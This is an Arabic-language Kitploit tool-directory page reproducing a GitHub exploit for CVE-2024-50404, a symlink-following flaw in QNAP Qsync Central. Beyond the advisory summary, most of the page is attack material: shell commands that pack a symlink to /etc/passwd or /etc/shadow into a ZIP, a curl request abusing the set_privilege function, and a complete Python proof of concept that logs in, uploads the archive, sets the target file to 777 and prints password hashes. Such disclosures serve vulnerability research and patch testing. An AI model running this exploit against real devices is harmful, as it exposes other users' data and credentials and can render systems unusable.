Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-50404 — CVE-2024-50404 | Kitploit
أدوات/GitHubGitHub/c411e/cve-2024-50404
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubc411e/cve-2024-50404

CVE-2024-50404

CVE-2024-50404

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-50404

  • https://www.qnap.com/en/security-advisory/qsa-24-48
  • https://www.cve.org/CVERecord?id=2024-50404
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (6.8)

"تم الإبلاغ عن وجود ثغرة أمنية تتعلق بتتبع الارتباطات (link following) تؤثر على Qsync Central. إذا تم استغلالها، قد تسمح الثغرة للمهاجمين عن بُعد الذين حصلوا على وصول كمستخدم بعبور نظام الملفات إلى مواقع غير مقصودة."

تاريخ الاكتشاف: 22 أبريل 2024
تاريخ الإصلاح: 7 ديسمبر 2024
الإصدار (الإصدارات) المتأثرة: Qsync Central 4.4.x
الإصدار (الإصدارات) المُصححة: Qsync Central 4.4.0.16_20240819 (2024/08/19) وما بعده
صلاحيات الوصول: مستخدم عادي بصلاحية رفع الملفات

الملخص:
من الممكن رفع رابط رمزي (symlink) من خلال ملف ZIP وقراءة الملف الذي يشير إليه الرابط الرمزي المرفوع.
علاوة على ذلك، يمكن تعديل أذونات الملف الهدف للرابط الرمزي.
يمكن للمهاجم الذي يتمتع بصلاحيات مستخدم عادي قراءة بيانات المستخدمين الآخرين أو تجزئات كلمات المرور المخزنة في /etc/config/shadow، مما قد يؤدي إلى اختراق النظام بأكمله.
بالإضافة إلى ذلك، يمكن للمهاجم إزالة صلاحية التنفيذ من الملفات الثنائية الهامة للنظام لجعل النظام غير قابل للاستخدام.

خطوات إعادة الإنتاج

قراءة ملف عبر رابط رمزي

  1. أنشئ رابطًا رمزيًا وضعه في ملف ZIP.

    root@kitploit:~
    ln -s /etc/passwd link.txt
    zip --symlink pwn.zip link.txt
    
  2. سجل الدخول كمستخدم بصلاحيات محدودة.

  3. ارفع ملف ZIP إلى مجلد .Qsync.

    رفع ZIP

  4. استخرج ملف ZIP بالنقر بزر الماوس الأيمن واختيار استخراج إلى /pwn/.

    استخراج ZIP

  5. افتح مجلد pwn الجديد، وانقر بزر الماوس الأيمن على link.txt واختر فتح.

  6. لاحظ أنه تم فتح ملف /etc/passwd في علامة تبويب جديدة.

    فتح الرابط

تعديل أذونات الملف عبر رابط رمزي

  1. أنشئ رابطًا رمزيًا وضعه في ملف ZIP.

    root@kitploit:~
    ln -s /etc/shadow link.txt
    zip --symlink pwn.zip link.txt
    
  2. سجل الدخول كمستخدم بصلاحيات محدودة.

  3. ارفع ملف ZIP إلى مجلد .Qsync.

  4. استخرج ملف ZIP بالنقر بزر الماوس الأيمن واختيار استخراج إلى /pwn/.

  5. غيّر صلاحية الملف الذي يشير إليه الرابط الرمزي عن طريق إساءة استخدام وظيفة set_privilege.

    طلب cURL:

    root@kitploit:~
    curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
    

    طلب Burp:

    طلب Burp

    يجب استبدال معامل sid في عنوان URL بجلسة صالحة.

  6. افتح مجلد pwn الجديد، وانقر بزر الماوس الأيمن على link.txt واختر فتح.

  7. لاحظ أنه تم فتح ملف /etc/shadow في علامة تبويب جديدة.

    فتح الرابط

دليل الإثبات (Proof of Concept)

يمكن استخدام النص البرمجي التالي بلغة Python لاستغلال الثغرة.

root@kitploit:~
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# تعديل المتغيرات التالية
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print('انتبه، سيتم تغيير صلاحيات الملف {FILE} إلى 777! لم يتم تنفيذ التنظيف')

    print('جارٍ إنشاء ملف zip')
    os.system('rm -f pwned.txt pwn.zip')
    os.system(f'ln -s {FILE} pwned.txt')
    os.system('zip --symlink pwn.zip pwned.txt')

    print('جارٍ تسجيل الدخول')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('جارٍ رفع ملف zip')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('جارٍ فك ضغط ملف zip')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    # الانتظار قليلاً
    time.sleep(5)

    print('جارٍ تغيير صلاحيات الملف')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('جارٍ قراءة الملف')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
    assert response.status_code == 200
    print(response.text)

    print('تم')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # الحصول على معرف الرفع
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # رفع الملف
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
تنزيل الأداة